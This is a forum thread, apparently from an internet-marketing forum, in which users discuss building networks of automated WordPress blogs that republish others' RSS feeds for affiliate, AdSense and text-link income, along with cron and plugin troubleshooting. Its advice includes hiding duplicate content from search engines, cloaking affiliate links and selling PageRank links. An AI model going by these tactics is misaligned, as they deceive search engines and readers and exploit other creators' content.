    I've used WP-O-Matic and it can often produce duplicate posts, from the same feed.

    Anyone else checked their blogs for dupes?
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    • Profile picture of the author Keith Kogane
      Originally Posted by JustVisiting View Post

      Hi

      I've used WP-O-Matic and it can often produce duplicate posts, from the same feed.

      Anyone else checked their blogs for dupes?
      I've seen them sometimes, but only rarely. I wouldn't say "often" - maybe once in like 50 posts or so. When I see em, I'll just go ahead and delete the duplicates. However, my sites usually have a lot of different categorized feeds being posted, so it's not really a problem. If you're worried about a duplicate content penalty on your own site, there are several plugins like "uniquifier" which will make all your site content appear unique to search spiders (though it doesn't actually alter the data in the post or the feed).
      However, the duplicate posts won't have any negative impact on the syndication portion of the business model, so it doesn't matter.

      If you're getting a lot of dupes, try using different feeds. Some seem to do it more often than others, but it's not a huge problem I've found. It's a known bug and hopefully they'll get it worked out in a later release. If not, maybe I'll pay a coder to fix it for me one day.

      It could look weird if the point of this was to make a great unique classy blog. But it's not. I just want a mediocre but AUTOMATED system, so I take what I can get, and this is really, REALLY good for the investment of time (an hour) and money (none).

      Okay, technically, not none. The domains cost like $6.
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      • Profile picture of the author JustVisiting
        Originally Posted by Keith Kogane View Post

        I've seen them sometimes, but only rarely. I wouldn't say "often" - maybe once in like 50 posts or so. When I see em, I'll just go ahead and delete the duplicates. However, my sites usually have a lot of different categorized feeds being posted, so it's not really a problem. If you're worried about a duplicate content penalty on your own site, there are several plugins like "uniquifier" which will make all your site content appear unique to search spiders (though it doesn't actually alter the data in the post or the feed).
        However, the duplicate posts won't have any negative impact on the syndication portion of the business model, so it doesn't matter.

        If you're getting a lot of dupes, try using different feeds. Some seem to do it more often than others, but it's not a huge problem I've found. It's a known bug and hopefully they'll get it worked out in a later release. If not, maybe I'll pay a coder to fix it for me one day.

        It could look weird if the point of this was to make a great unique classy blog. But it's not. I just want a mediocre but AUTOMATED system, so I take what I can get, and this is really, REALLY good for the investment of time (an hour) and money (none).

        Okay, technically, not none. The domains cost like $6.
        Keith

        The reason I asked is I sorted the WP-O-Matic dupe problem so they are deleted automatically

        You mentioned "Uniquifier" which is fine for cloaking the dupe content from the search engines - but having random chars throughout the post doesn't do much for KW optimization.

        Also, if posting dupe articles they will be hidden from the se's BUT software such as Copyscape will find dupes.
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  • Profile picture of the author budfox
    Very interesting business model. I'm a bit in the dark about why your visitor count would grow over time though. You are just publishing duplicate content so you are not building any kind of presence in the SERPs. Where the heck is the traffic coming from?
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    • Profile picture of the author Keith Kogane
      Originally Posted by budfox View Post

      Very interesting business model. I'm a bit in the dark about why your visitor count would grow over time though. You are just publishing duplicate content so you are not building any kind of presence in the SERPs. Where the heck is the traffic coming from?
      The traffic comes from all over. I've given that some thought too, and I know some guys that flat out don't believe in the duplicate content penalty at all. But here's some speculation on my non-technical part as to why if it IS a factor, why it's not keeping me from getting traffic.

      For one, I think because it's constantly building backlinks in. If I ever STOPPED building the backlinks, my pages would fall out of the serps. However, that never happens, it just keeps building new links.

      Another factor that's possibly mitigating the still-debated duplicate content filter is that the OTHER stuff I have on my pages (links to related posts, randomizing blog roll, random quotes plugin, etc.) may be enough to overcome it. That's just a guess.

      Also, those links point to my gocodes, which re-direct to the affiliate offers. Those pages are NOT duplicate content, and my goCode links actually rank in the serps themselves (even though they are just redirects), and that's entirely because of the backlink building.

      In some cases, instead of linking to affiliate sites with GoCodes, I'll make the backlinks point to a static page on the blog that has a squeeze or presell on it. Those pages end up ranking pretty well, though I've never deliberately tried to competatively rank for a specific phrase.

      That's not to say I have killer Serps postions. I don't really (lots of them in the first 10 pages of results, but rarely any page 1s), but my logs say I get organic traffic, so I'm getting it somehow. Also, I've recently started using the "Uniquifier" plugin, which *seems* to be helping, but I'm not being scientific about testing it, and I did pretty good without it. I've barely used that one though, so maybe not.

      Now, don't forget those links get published on other sites that are re-publishing RSS content it's not just me that does this. I get some traffic directly form those sites visitors clicking over.

      Some of the blogs that get caught in my RSS net automatically credit me with a trackback when I link to them. That sends over traffic as well, as it kind of piggy-backs off whatever they're doing. When this happens is what I think really spikes up that PR.

      See, though it gets some, this model isn't really just all about getting traffic. It's about the fact that these sites will grow their own PR automatically, and that means you can sell advertising, specifically text links. At that point, it's not about traffic anymore. That PR juice means you can give SERP boosts to OTHERS. That means a monthly income from the site no matter if it does well with traffic, or ads, or affiliate products. It can absolutely suck, and it can make money if it has PR.

      Now, I didn't focus on that so much for this writeup, as most people here are still in the adsense/affiliate game. Personally, my stuff is shifting more towards selling ads directly and I want to do more flipping.

      But even without that, it WILL make Adsense revenue, and it WILL make affiliate sales. I haven't set up a single one of these yet that doesn't turn a profit, especially considering that it's extremely fast and easy to set up, and once you do, you can just leave it alone and go do something else. I've gone a year now just doing adsense and affiliate stuff myself. How well that mix performs depends on the niche, but when you have 50 or 60 of these things, you're going to be doing pretty well with like, zero ongoing effort.

      Set one up, then leave it alone for awhile, see what happens. I'm sure there's all kinds of things "wrong" with it from an SEO or whatever standpoint. However, it's not keeping it from being profitable, so I don't let that worry me.
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  • Profile picture of the author mudmat
    Phew! I just finish reading the 1st to the last post and taking down some notes.

    Going to take action now!
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  • Profile picture of the author mudmat
    Wp-o-matic and gocodes only works in firefox or safari which means I have to get Firefox browser..
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  • Profile picture of the author Marcus Paul
    Keith,

    Great business model. Kudos on putting this together!

    I have two questions:

    1 - I notice you mention PR in a number of instances, but how are you generating PR when you are using duplicate content? I always understood that the duplicate content penalty really suppresses PR, even with backlinks.

    2 - What hosting company do you use? I use GoDaddy and I have had a sports blog for a while that uses WP O Matic for some of the content. Problem is I can never get it to automatically retrieve. I have to manually hit the button twice a day. Did you have this issue?

    Thanks!
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    • Profile picture of the author Keith Kogane
      Originally Posted by youTribunedotcom View Post

      Keith,

      Great business model. Kudos on putting this together!

      I have two questions:

      1 - I notice you mention PR in a number of instances, but how are you generating PR when you are using duplicate content? I always understood that the duplicate content penalty really suppresses PR, even with backlinks.

      2 - What hosting company do you use? I use GoDaddy and I have had a sports blog for a while that uses WP O Matic for some of the content. Problem is I can never get it to automatically retrieve. I have to manually hit the button twice a day. Did you have this issue?

      Thanks!
      Thank YOU. Here are your answers.

      1. I don't really know. Google gives out PR and they don't really say how. I've heard the same thing said as well, but it happens, so... I mean, I really don't know what to say other than try it, and you'll see that it works. When you get a blog that gets some PR, link to other of your blogs from that one, etc. I guess there's things you "know" because that's what everyone says, or there's things that you "know" because you did it and it worked.

      2. I use GoDaddy. I never got the unix cron working through their system, but if you turn that off and just let it auto update when someone visits, that works fine for me. Also, you wouldn't have to hit that button if you use the pseudo cron URL. Just bookmark it and click that instead of having to log in to manually fill it. At least that will save you a little trouble.

      Anyway, hope that answers your questions. Let me know if I can clarify anything.
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  • Profile picture of the author mudmat
    Hi keith,

    For the gocodes plugin, how do I edit the .htaccess file to include the code?

    I'm not so good in this.. Your advice on doing this?

    Regards,

    Muhammad Noor
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  • Profile picture of the author kenkos68
    Hi Keith,

    I was just about to launch something nearly identical to what you have set up here, before reading your thread. I am glad to see that it is proven to work and my resources aren't wasted.

    Mine are like yours - a mix of rss and articles, complete with resource boxes in tact. I think this is the key as each site DOES cater to real people. I have seen many sites where the content is all garbled. I don't know how those sites provide any benefit to the user.

    Instead of using blog software like Wordpress, mine is built using a set of php scripts. The site will look like a Wordpress site, using a popular Wordpress template. The only thing I have to do to set one up is find a good keyword for the main domain (or subdomain), and write an affiliate review for the product I am promoting. All other pages will 'support' the main page with the affiliate review. For updating, I have a Linux server at home using cron that will send a special update url to the site to cause it to generate a new page, and then generate a new sitemap and rss feed. Lastly it will ping.

    My questions for you are these:

    1. How often do you auto update the site? Once, twice, three times a day? I want my growth to look natural, but not too fast.

    2. Approximately how much per day is each site averaging? This will determine how many I place.

    I plan on using this network to feed my regular review sites that are fed by article traffic. Once they are all indexed, they are capable of providing a lot of link juice to any site if needed.

    -Ken
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    • Profile picture of the author Keith Kogane
      Originally Posted by kenkos68 View Post

      Hi Keith,

      I was just about to launch something nearly identical to what you have set up here, before reading your thread. I am glad to see that it is proven to work and my resources aren't wasted.

      Mine are like yours - a mix of rss and articles, complete with resource boxes in tact. I think this is the key as each site DOES cater to real people. I have seen many sites where the content is all garbled. I don't know how those sites provide any benefit to the user.

      Instead of using blog software like Wordpress, mine is built using a set of php scripts. The site will look like a Wordpress site, using a popular Wordpress template. The only thing I have to do to set one up is find a good keyword for the main domain (or subdomain), and write an affiliate review for the product I am promoting. All other pages will 'support' the main page with the affiliate review. For updating, I have a Linux server at home using cron that will send a special update url to the site to cause it to generate a new page, and then generate a new sitemap and rss feed. Lastly it will ping.

      My questions for you are these:

      1. How often do you auto update the site? Once, twice, three times a day? I want my growth to look natural, but not too fast.

      2. Approximately how much per day is each site averaging? This will determine how many I place.

      I plan on using this network to feed my regular review sites that are fed by article traffic. Once they are all indexed, they are capable of providing a lot of link juice to any site if needed.

      -Ken
      Right now, about 55 blogs are making around $1500 a month in affiliate sales and adsense/YPN. That's completely passive, just set it up and leave it alone. However, truth be told, that's only the top 10 or so making the most of that. That's why I hesitate to give out an average. Some of these make like, less than $10 a month (no good affiliate products), one of them makes almost $300 a month consistently (killer affiliate product w/backend). The key is not to think I need XX income, so therefore I need XX blogs. If you're going to go this route, you can't expect any particular outcome. They are ALL profitable, but the measure of profitability varies widely. It's easy to be profitable when all you need is $6 for a domain and an hour to set it up.

      Now, $1500 a month isn't much by some measures. Whatever, it pays my house note, you know? Plus, I have a pretty well paying day job that takes long hours, and I really only mess with IM stuff as a hobby (though my day job is related). That's why it took me a year to make only 60 of these things, and I spent WAY more time messing with parts of it that have ZERO to do with making the method work (messing with themes and various vanity widgets and whatnot).

      As I was telling someone in PM, I have two things going against me. One, I'm incredibly lazy. Two, I'm just one guy and I really don't feel like outsourcing. Because of that, I'm really limiting my growth/income. I can make one of these things literally, top to bottom in about an hour. If I were building these to flip, and I was crazy aggressive with selling them and selling advertising on my other VRE, I could be making 5 figures a month (or at least way more than I make now) but that would be a good deal more work. I also don't do a good job of going back and putting in more work on these after the initial setup. I tend to get a little bored and move onto the next one. If I bothered to measure and look at data to tweak things, I could be doing more as well.

      But overall, it's a really flexible model. You can do a lot with it, and even if you don't do much beyond what I've outlined in the original post, you'll do very well, considering the cost of trying it. The more of these you make, the better you'll do. For someone with resources and time, this could be a huge business - particularly if you use it as a model for VRE/flipping (which I'm admittedly only getting started with).

      P.S. I'm making another $1500 or so a month selling text link ads, but a guy I know brokers that for me, and he sells pretty much only to HIS customer list. I didn't include that in the total above, since I can't really say "Next step, find a buddy who can sell text link ads to his targeted list and split it with him." It's not really repeatable directly, but like I said, that gives you an idea of what you can do if you want to SELL on top of this platform and not just go for the lowest effort passive thing.

      EDIT: I forgot to answer how many times a day I update - I go for once or twice daily, depending on how much content there is available. I don't worry so much about natural growth on my side. I tend to build up a lot of content very quickly, but what I trickle out is where I submit my RSS feeds. My list is up to the hundreds, and I'll do like 10 here, 10 there. But in addition to being lazy, I also suffer from poor project organization. I don't think I've ever finished putting a single site through EVERY submission yet. But as far as them growing organically, if you keep the number of post updates, it does grow pretty organically, but consistently. It's not like these content farms where you have a million pages overnight.
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  • Profile picture of the author kenkos68
    Thanks for your reply, Keith.

    I will start off with 2 updates / submissions a day and see how that fairs. As for your $1500/month, that is each site making almost a buck a day on average. That is good enough for me. These sites should be able to make at least a buck a day.

    -Ken
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  • Profile picture of the author alexei_aus
    i think i know how to perfect this system

    thanks for sharing
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    • Profile picture of the author Keith Kogane
      Originally Posted by mudmat View Post

      Hi keith,

      For the gocodes plugin, how do I edit the .htaccess file to include the code?

      I'm not so good in this.. Your advice on doing this?

      Regards,

      Muhammad Noor
      If you have FTP access to your site and the .htaccess file isn't in the root directory, you may need to ask your host to help you. I know it's there, because it's how WordPress handles its permalink structure, all through .htaccess. Sorry I can't be of more help on that.

      Originally Posted by kenkos68 View Post

      Thanks for your reply, Keith.

      I will start off with 2 updates / submissions a day and see how that fairs. As for your $1500/month, that is each site making almost a buck a day on average. That is good enough for me. These sites should be able to make at least a buck a day.

      -Ken
      I never did the math, but it's pretty awesome when you think of it that way. Yes, a dollar per day per site is not an out-of-reach expectation if you choose niches where there is money being made. That's literally the only way you can fail is if you pick a niche that no one is publishing stuff about (you'd get no posts) and no one is selling anything (you wouldn't be able to find affiliate products, and no adsense ads would show).

      Originally Posted by Lee MacRae View Post

      I can get everything to work except how to set it up in WP-O-Matic to make the affiliate link show up in a post? That's my duh moment!
      In the plugin options when you set up a campaign, there's a tab where you set up the word replacement. You specify the target word, the word you want to replace it with, and the URL you want it to link to (optional).

      Originally Posted by alexei_aus View Post

      i think i know how to perfect this system

      thanks for sharing
      I'll PM you since you obviously don't want to post here. I'd love to hear your ideas!
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  • Profile picture of the author mudmat
    Hi Keith,

    Thanks for the info! I'll check with my web host to help me edit the .htaccess file.

    Yeah, what you say was indeed correct.. The file is there but somehow I could not click on it or get to it.
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    • Profile picture of the author Ken
      For anyone looking for a great theme for this purpose try "Flexibilty Theme".
      Registration is required but the theme is free otherwise.
      I was extremely pleased and with the theme and made a donation, always a good idea if you want the creators to keep on working.

      Flexibility Theme for WordPress

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      • Profile picture of the author JustVisiting
        Originally Posted by Ken View Post

        For anyone looking for a great theme for this purpose try "Flexibilty Theme".
        Registration is required but the theme is free otherwise.
        I was extremely pleased and with the theme and made a donation, always a good idea if you want the creators to keep on working.

        Flexibility Theme for WordPress

        Ken
        Thanks Ken. I haven't tested it fully yet but this has to be one one of nicest looking themes available.
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      • Profile picture of the author mudmat
        Originally Posted by Ken View Post

        For anyone looking for a great theme for this purpose try "Flexibilty Theme".
        Registration is required but the theme is free otherwise.
        I was extremely pleased and with the theme and made a donation, always a good idea if you want the creators to keep on working.

        Flexibility Theme for WordPress

        Ken
        Thanks ken!

        My host server people has just edited the .htaccess file for me and I will resume work again. Now I have to test whether the redirect works.

        I'm a newbie when it comes to rss. How do I actually submit my blogs rss feed?


        Regards,

        Muhammad Noor
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  • Profile picture of the author erickz
    hi Keith,
    thks for the sharing. i will be trying out to test a few blogs with your automated system and see how its goes. i have quite a number of unused domains which i havn't touched for months. besides this method, i am working on other blogs which is purely on unique written content.
    i believe that the system itself is workable and one can be flexible and creative to make some twists here and there. you can mixed up your content by adding unique content and also syndicated content in the blog too.

    sorry to ask some questions as i am a newbie and not technically strong in the WP setup. how do i set up a no-follow in your system?
    isit by unchecking the first box in the "Default article settings" in the Discussion tab?
    also, i am cloaking my affiliate link by manually masking it on another page.
    does the gocodes plugin does the same function?
    so instead of creating another page to cloak the link, we just use the plugin for easy n quick setup?
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    • Profile picture of the author Keith Kogane
      Originally Posted by mudmat View Post

      Thanks ken!

      My host server people has just edited the .htaccess file for me and I will resume work again. Now I have to test whether the redirect works.

      I'm a newbie when it comes to rss. How do I actually submit my blogs rss feed?


      Regards,

      Muhammad Noor
      That's great! Glad they were so accommodating. To submit your RSS feed, most of the sites you submit to will simply have a form to fill out - one of the fields will be fore your RSS link. Most templates will include a link to your blog's feeds in the navigation somewhere. It's usually located at yourblogURL.com/feed or something similar.

      Originally Posted by iMerickz View Post

      hi Keith,
      thks for the sharing. i will be trying out to test a few blogs with your automated system and see how its goes. i have quite a number of unused domains which i havn't touched for months. besides this method, i am working on other blogs which is purely on unique written content.
      i believe that the system itself is workable and one can be flexible and creative to make some twists here and there. you can mixed up your content by adding unique content and also syndicated content in the blog too.

      sorry to ask some questions as i am a newbie and not technically strong in the WP setup. how do i set up a no-follow in your system?
      isit by unchecking the first box in the "Default article settings" in the Discussion tab?
      also, i am cloaking my affiliate link by manually masking it on another page.
      does the gocodes plugin does the same function?
      so instead of creating another page to cloak the link, we just use the plugin for easy n quick setup?
      Yep. I think a lot of people are interested in some methods to work unique content into the feed based stuff, so I'm revisiting a couple of techniques I've used in the past so I can make sure they're still working. I'll include those in the inevitable report I'll be releasing.

      I know, I know. It sounds cliche and I'm sure a bunch of folks will think this has been my plan all along. It hasn't. It barely took me ten minutes to write the first post. I never thought this method would be just what som many people need right now. Seriously, I went from 0 Private messages to 43, just because of this thread, and it's mostly people telling me to please make something because they will pay for more information, so who am I not to oblige? Gotta love this forum! People introduce themselves and then ask to give you money. Amazing!

      But back to your question, I'm not sure what you're asking. Nofollow doesn't really enter into the standard setup and isn't required for it to work. The only time I've messed with using nofollow plugins (of which there are many, depending on what you're trying to do) is when you want to keep your page rank very tightly controlled by not spreading it to your categories or spreading it out to your external links. And even then, I'm not a master at that. It's kind of advanced SEO, and overall, I think that goes into the 80 part of the 80/20 Pareto Principle. I'm better off focusing on something else that will have more of an effect on profit than those minor tweaks. Your mileage may vary, but I wouldn't worry about it until you have enough backlinks coming in for it to make a difference.

      And yes, the point of the GoCodes plugin in this method is partially to mask affiliate links, but it also serves to make sure all your link building points to a resource you control, and that has the double benefit of using your blog's main domain. That way, you can always change what those backlinks are redirecting to (if you want to change affiliate offers, for example) and not lose any of the backlinking benefit your blog has produced up to that point.

      Make sense?
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  • Profile picture of the author erickz
    ya, i keeps heading people talking about putting the "nofollow" tag in your blog to prevent the PR link juice going out. hmm.. i think i do not need to think so much in advanced first as i am only in the beginning and my blog havn't even got any traffic.. lol.. i'll look into that when i have enough traffic and PR for me to worry about.. lol..
    btw, i saw this checkbox "Perform pingbacks" in the options, do i need to check that? i did not check the box for the first 2 blogs that i have setup for this system. do i need to need to perform ping backs?
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  • Profile picture of the author natalie1
    I'd be interested in more (paid) help w/gocodes and url redirection. I was able to easily set up the feeds to my blog but not sure if I'm doing the redirects correctly. I would love it if you did a WSO for your blog concept.
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  • Profile picture of the author mudmat
    Thanks keith for the info!

    You really have been a real help explaining some of the technical stuff.
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  • Profile picture of the author Keith Kogane
    Just as a follow up, for the people that had trouble using WP-O-Matic, I'm looking into other plugins that may be able to be used to the same affect, and I'll update after I have a chance to experiment.

    I've bought/downloaded/installed the following:

    SmartRSS
    FeeWordPress
    Caffeinated Content
    Autoblogged

    And for the ones there that don't include the link addition/replacement that's key to the link building strategy, I'm testing:

    Smart SEO Linker
    KB Linker

    Everything else with the technique remains the same, I'm just looking at alternatives to WP-O-Matic to make it a more robust solution that will work even if you can't get a given plugin to work. The more options, the better, right?

    I'm also testing Utopia Cron to see if it'll work for the folks who can't set up a cron on their host.

    More info coming soon!
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  • Profile picture of the author getsmartt
    Kieth a couple of more linking plugins you might check out

    alinks
    cross-linker(my current favorite because it allows you to enter a comma separated list of terms to link to a keyword)
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  • Profile picture of the author Dontrell Lyons
    That's a good business plan! The more ways you can use technology to do the grunt for you the better! IMO software is taking over the internet! lol
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  • Profile picture of the author Chuck Underwood
    Keith,

    Thank you for the post. It is what I love about the WF.

    Chuck
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  • Profile picture of the author Chris_L
    Keith,

    Thank you for sharing your strategy with us.

    Sorry if my question is a bit little off. I'm still learning this RSS feed thing. Do you grab RSS feeds from video sharing sites as well, like YouTube? If so, how do you do that? I can never figure it out.

    Thanks.

    Chris
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  • First, thank you very much Keith for opening my eyes to some very interesting new opportunities!

    Now, I do have some questions since I just set up my first two autoblogs...

    1)Is there any advantage to using GoCodes over my link cloaker of choice, ø Link Cloaking Plugin for WordPress | W-Shadow.com ø ?
    I ask because for some reason the titles of my posts aren't getting cloaked, although on the Links sidebar they ARE cloaked.... I feel like wp-o-matic is conflicting with it but not sure.

    2) I thought I inserted the code correctly into my cron file, but when I checked this morning I had to click "fetch" in order for my new posts to show up. Am I right that I'm supposed to be editing the file located at wp-content/plugins/wp-o-matic/cron.php ?

    If so, here's where I inserted it, let me know if I messed something up:

    <?php

    */20 * * * * /usr/bin/curl http://[site-edited].com/wp-content/...cron.php?code=[code-edited]

    require_once(dirname(__FILE__) . '/../../../wp-config.php');

    nocache_headers();

    // if uninstalled, let's not do anything
    if(! get_option('wpo_version'))
    return false;

    // check password
    if(isset($_REQUEST['code']) && $_REQUEST['code'] == get_option('wpo_croncode'))
    {
    require_once( dirname(__FILE__) . '/wpomatic.php' );

    $wpomatic->runCron();
    } else
    $wpomatic->log('Warning! cron.php was called with the wrong password or without one!');

    Thanks a lot!
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    • Profile picture of the author Keith Kogane
      Originally Posted by remac22 View Post

      First, thank you very much Keith for opening my eyes to some very interesting new opportunities!

      Now, I do have some questions since I just set up my first two autoblogs...

      1)Is there any advantage to using GoCodes over my link cloaker of choice, ø Link Cloaking Plugin for WordPress | W-Shadow.com ø ?
      I ask because for some reason the titles of my posts aren't getting cloaked, although on the Links sidebar they ARE cloaked.... I feel like wp-o-matic is conflicting with it but not sure.

      2) I thought I inserted the code correctly into my cron file, but when I checked this morning I had to click "fetch" in order for my new posts to show up. Am I right that I'm supposed to be editing the file located at wp-content/plugins/wp-o-matic/cron.php ?

      If so, here's where I inserted it, let me know if I messed something up:

      .....

      Thanks a lot!
      Hey man, you're welcome! Glad you'll be able to get some use out of it.

      For #1, no, you can use any plugin that does this behavior. GoCodes is just the one I like. It's not really about the cloaking for me, it's that I'm not sending out hard-coded backlinks for an affiliate product that may tank. Using some plugin like this allows me to change the target and not lose the benefit of all the links I've already built. I'm not 100% on that plugin because I haven't used it (though I'll check it out), but in theory, it should work fine.

      For #2, no. That's your WordPress cron file, not where you should put that. The code you have there needs to go in your unix cron configuration. If you don't know what that is, just deactivate the unix cron. It's pretty hardcore, and even though GoDaddy (my host) allows unix cron interaction, I haven't gotten WP-O-Matic to work with it. I'm not techie enough to troubleshoot it if it doesn't work on the first try.

      Instead, I disable the unix cron and let WP-O-Matic do it itself. If you do this, it fires whenever someone visits the site. If you don't like relying on that method (if you have huge traffic, it can bog - I've never personally had an issue), you can bookmark the pseudo-cron url provided and just visit that as often as you'd like to update. That's just a single click, and no need to log in.

      I'm currently investigating alternatives with some cron control plugins with WordPress so it can possibly be automated from the one site. However, it's very preliminary research.

      Again, thanks for your interest in my process, and congratulations on buckling down and taking action. Good luck with your niche selection and I hope you achieve the success you deserve!

      P.S. Remember, even if it doesn't make it big, the automated nature of the thing makes it an easy sell to flip.
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      • Profile picture of the author Julian Lockhart
        Originally Posted by Keith Kogane View Post

        Hey man, you're welcome! Glad you'll be able to get some use out of it.

        For #2, no. That's your WordPress cron file, not where you should put that. The code you have there needs to go in your unix cron configuration. If you don't know what that is, just deactivate the unix cron. It's pretty hardcore, and even though GoDaddy (my host) allows unix cron interaction, I haven't gotten WP-O-Matic to work with it. I'm not techie enough to troubleshoot it if it doesn't work on the first try.

        Instead, I disable the unix cron and let WP-O-Matic do it itself. If you do this, it fires whenever someone visits the site. If you don't like relying on that method (if you have huge traffic, it can bog - I've never personally had an issue), you can bookmark the pseudo-cron url provided and just visit that as often as you'd like to update. That's just a single click, and no need to log in.

        I'm currently investigating alternatives with some cron control plugins with WordPress so it can possibly be automated from the one site. However, it's very preliminary research.
        Keith - Good info.

        Great News! I figured out the problem with wp-o-matic cron jobs not working at GoDaddy.

        In the WP-o-Matic options section it shows the UNIX command as:
        */20 * * * * /usr/bin/curl hxxp://wtw.yoursite.com/wp-content/plugins/wp-o-matic/cron.php?code=YOURKEY
        When you enter that in GoDaddy cron it doesn't not work:confused:

        This works:
        /usr/bin/curl hxxp://wtw.yoursite.com/wp-content/plugins/wp-o-matic/cron.php?code=YOURKEY
        (hxxp=http and wtw=www)
        Why?
        Because */20 * * * * means execute said command every 20 minutes and the Godaddy cron tool handles timing separate from the command to be executed.

        I figured this out by doing some Google searches on cron jobs. Took a little tinkering. . . I sure love to figure things out - sometimes to my detriment. That being said, I hope that it will forward all of our efforts.
        Looking forward to WSO.

        Julian
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        • Profile picture of the author Keith Kogane
          Originally Posted by Allegro View Post

          i have added the cron job to hostgator, and it runs every hour, but it doesnt fetch anything? i then tried to use the url-command myself, but it only showed a blank site and when i checked the log after, i saw that nothing happened... do i have to add something to the htaccess too? i checked the readme and it said nothing about editing anything...

          and thanks for the tip, i now populated my blog with 60 postings and set it now to one posting per feed per fetch... i also think that the option that shows the date when it was originally posted should be enabled, else it would show that 5 postings are made at the exact same time!

          edit: hm now thats weird, it shows me that the cron job was processed, but it didnt check the feeds... it only shows the feeds checked after i fetched manually, and only added postings after that.

          i guess i will give it this day time and check in the evening if anything happened, if not i will look into that next night

          however, now that gocodes work, im going to add my 200+ keywords to the replace-list

          Edit 2: Now i am really confused, although i added the cronjob to run every hour, the wp-o-matic dashboard tells me
          Next campaigns to process

          1. 6h 58m 26s
          so i can only fetch posts automatically every 8 hours? that sucks, especially in the WoW niche where there are around 10 postings per day... and i fetch only 2 per site...
          Hey - sorry you're having such trouble with the cron stuff. I wish I could give you better advice, but I don't currently use hostgator, so I'm unfamiliar with their setup. If you can't figure it out, try the utopia cron plugin. I haven't gotten to testing it myself, but others here have said it was working for them. Good luck!

          Originally Posted by Chris Grable View Post

          Keith,

          Is there any way you could point us to a site where you have this implemented? I'm having trouble wrapping my arms around the concept.... I guess maybe I just need to see iut.
          Like I mentioned earlier, I don't have a demo site set up. I'm not anxious to share my live sites right now, because they ARE susceptible to reverse engineering, and since this is a game of statistics, I'm not looking to invite competition. Mind, you the average visitor won't really know the scoop, but since I told you all what to look for, anyone looking at my sites after reading this will instantly be able to clone my site, and I guarantee someone would do that instead of finding their own.

          However, enough people are into seeing this kind of thing that I will probably create a demo site as part of a more in-depth report or possibly video series.

          Originally Posted by JJOrana View Post

          Anybody having problem with relink to: field?

          I'm having problem to run that part.
          Can you be more specific? I'd love to help you get it sorted out.

          Originally Posted by mudmat View Post

          Hi guys,

          How do I automated the fetching of post from the feeds?

          I don't think I saw the option to automate the fetching of post from the feeds..

          Another question: Is there any software that enables you to submit your rss feed at one go? Meaning that you do not have to manually submit your rss feed to the different rss sites.
          1. You do this when configuring WP-O-Matic. It's in the tab options when configuring the campaign (I'm pretty sure, I'm not looking at it right this second, but it's part of WPOM). If you're in the dark about using cron, try the utopia cron plugin I mentioned earlier. I can't speak on it personally, but I've heard good things and will be trying it myself soon.

          Originally Posted by Julian Lockhart View Post

          Keith - Good info.

          Great News! I figured out the problem with wp-o-matic cron jobs not working at GoDaddy.

          *snip*

          I figured this out by doing some Google searches on cron jobs. Took a little tinkering. . . I sure love to figure things out - sometimes to my detriment. That being said, I hope that it will forward all of our efforts.
          Looking forward to WSO.

          Julian
          Julian, you are my hero! I spent a week or so trying to get this set up, but I'm just not techie enough to persevere when it comes to messing with that stuff. Awesome to know you got this figured out. I'm still going to test Utopia Cron as it seems like a good thing to have for others (Cron's kind of hard to explain) but I'll def. try this out on a couple of sites today!

          Thanks a bunch!
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        • Profile picture of the author davo
          Keith,

          Thank you so much for generously sharing your knowledge in here.

          I too got into the autoblogging thing, using Adam's PGInsider and set up many blogfarms, and saw the whole thing collapse and die when Google decided there were too many splogs out there.

          So I killed off my 200 sites and went back to around 20. But I still don't make decent money, even trying to be a good "white hat" boy.

          I shall now try and get some of my mostly unused domains going using your methodology. But I'd better be careful, since they are all on the same host and ip. Maybe I'm saving so much money on hosting that I'm cutting my own throat? I dunno.

          Kind regards,

          Davo

          PS: If you plan on selling a guide or some tutoring, then please count me IN. Thanks.
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            I discuss the IP problem on my IM blog. Go to the hosting page and see. I use HE because they give me 16 domains with 16 unique IPs.

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            Originally Posted by davo View Post

            Keith,

            Thank you so much for generously sharing your knowledge in here.

            I too got into the autoblogging thing, using Adam's PGInsider and set up many blogfarms, and saw the whole thing collapse and die when Google decided there were too many splogs out there.

            So I killed off my 200 sites and went back to around 20. But I still don't make decent money, even trying to be a good "white hat" boy.

            I shall now try and get some of my mostly unused domains going using your methodology. But I'd better be careful, since they are all on the same host and ip. Maybe I'm saving so much money on hosting that I'm cutting my own throat? I dunno.

            Kind regards,

            Davo

            PS: If you plan on selling a guide or some tutoring, then please count me IN. Thanks.
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            • Profile picture of the author Guru
              Hi

              I have created a test blog to test. when I am getting post from rss feeds its only 2-3 lines as most of source provider provide only that much as feed. Is that normal or you can get long full article in your blog from these rss providers? Am I doing something wrong?

              THanks

              G

              p.s. still trying to learn about cron job etc...
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              • Profile picture of the author Keith Kogane
                Originally Posted by Guru View Post

                Hi

                I have created a test blog to test. when I am getting post from rss feeds its only 2-3 lines as most of source provider provide only that much as feed. Is that normal or you can get long full article in your blog from these rss providers? Am I doing something wrong?

                THanks

                G

                p.s. still trying to learn about cron job etc...
                Some rss feeds only provide an excerpt, some provide more. It's up to whoever publishes the feed. Look around on google for "keyword based rss feeds" and you should find a lot of resources, and give yourself a better chance of finding more substantial content.

                Can you let me know more specifically what you need help with as far as cron goes? I'd love to help.

                P.S. For everyone else, I've been testing that Utopia Cron plugin I mentioned, and it works great. All that's needed for it to trigger the fetch is someone visiting your site. You're going to do that enough times yourself while setting it up. If you're submitting your feed to places regularly, your own visits will keep you covered for updates by the time your first few visitors should be arriving. (Based on my own admittedly limited experience, that is). Anyway, the point is, if you can't set up a unix cron, and WP-O-Matic isn't just updating itself, you can follow the included pseudo cron instructions and use Utopia instead of the website in the instructions.

                Hope that alternative helps anyone having trouble with the automation part of this setup.

                And now, since I can't tell if I've stayed up too late, or woken up too early - I'm off to bed.
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  • Profile picture of the author Uncle Dimitry
    I couldn't resist advertising my own service, which already helped hundrends of my customers to get thousands of visitors:

    Blogomator

    It is better than RSS, use your own content (or PLR). Don't scrap junk content from other people's sites!
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  • Profile picture of the author Noel2010
    This is very interesting to read. I hope the OP or someone will start to offer consultation because I got a major headache from reading this. I was completely lost after the 3rd line!
    Anyway, Thanks for the information.
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  • Profile picture of the author Guru
    Originally Posted by Keith Kogane View Post


    What will happen is that the blog is continually building keyword targeted backlinks to your GoCode URLs, and sending keyword targeted traffic to your affiliate offers. Keep an eye on the affiliate programs, swap out non-performers with something different in the GoCodes setup. (This is another reason we're using GoCodes instead of directly using the affiliate URLs - you don't lose all the previous link-building).

    Your blog domain is getting the benefit of all this backlink love so you will start to grow PR over time too. (This is yet another reason we're using GoCodes. All the backlinks you're generating link back to your own domain, giving YOU the PR benefit).

    K.K.

